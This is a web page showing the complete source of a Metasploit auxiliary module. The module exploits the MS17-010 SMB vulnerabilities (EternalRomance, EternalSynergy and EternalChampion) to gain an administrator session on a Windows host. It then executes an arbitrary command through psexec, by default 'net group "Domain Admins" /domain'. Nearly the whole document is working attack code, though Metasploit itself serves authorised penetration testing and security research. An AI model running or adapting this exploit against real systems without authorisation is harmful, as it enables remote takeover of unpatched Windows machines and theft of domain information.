Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/smb/ms17_010_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_0107include Msf::Exploit::Remote::SMB::Client::Psexec8include Msf::Auxiliary::Report9include Msf::Auxiliary::Scanner1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',14'Description' => %q{15This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where16primitive. This will then be used to overwrite the connection session information with as an17Administrator session. From there, the normal psexec command execution is done.1819Exploits a type confusion between Transaction and WriteAndX requests and a race condition in20Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy21exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a22named pipe.23},2425'Author' => [26'sleepya', # zzz_exploit idea and offsets27'zerosum0x0',28'Shadow Brokers',29'Equation Group'30],3132'License' => MSF_LICENSE,33'References' => [34[ 'MSB', 'MS17-010' ],35[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests36[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests37[ 'CVE', '2017-0147'], # for EternalRomance reference38[ 'URL', 'https://github.com/worawit/MS17-010' ],39[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],40[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],41],42'DisclosureDate' => '2017-03-14',43'Notes' =>44{45'AKA' => [46'ETERNALSYNERGY',47'ETERNALROMANCE',48'ETERNALCHAMPION',49'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred50]51}52))5354register_options([55OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),56OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),57OptPort.new('RPORT', [true, 'The Target port', 445]),58OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),59])6061register_advanced_options([62OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),63OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),64OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),65])6667deregister_options('SMB::ProtocolVersion')68end6970def run_host(ip)71begin72if datastore['SMBUser'].present?73print_status("Authenticating to #{ip} as user '#{splitname(datastore['SMBUser'])}'...")74end75eternal_pwn(ip) # exploit Admin session76smb_pwn(ip) # psexec7778rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e79print_error("#{e.message}")80rescue ::Errno::ECONNRESET,81::Rex::HostUnreachable,82::Rex::Proto::SMB::Exceptions::LoginError,83::Rex::ConnectionTimeout,84::Rex::ConnectionRefused => e85print_error("#{e.class}: #{e.message}")86rescue => error87print_error(error.class.to_s)88print_error(error.message)89print_error(error.backtrace.join("\n"))90ensure91eternal_cleanup() # restore session92end93end9495def smb_pwn(ip)96text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"97bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"98@smbshare = datastore['SMBSHARE']99@ip = ip100101# Try and authenticate with given credentials102output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, delay: datastore['DELAY'], retries: datastore['RETRY'])103104# Report output105print_good("Command completed successfully!")106print_status("Output for \"#{datastore['COMMAND']}\":\n")107print_line("#{output}\n")108report_note(109:rhost => datastore['RHOSTS'],110:rport => datastore['RPORT'],111:type => "psexec_command",112:name => datastore['COMMAND'],113:data => output114)115end116end117118119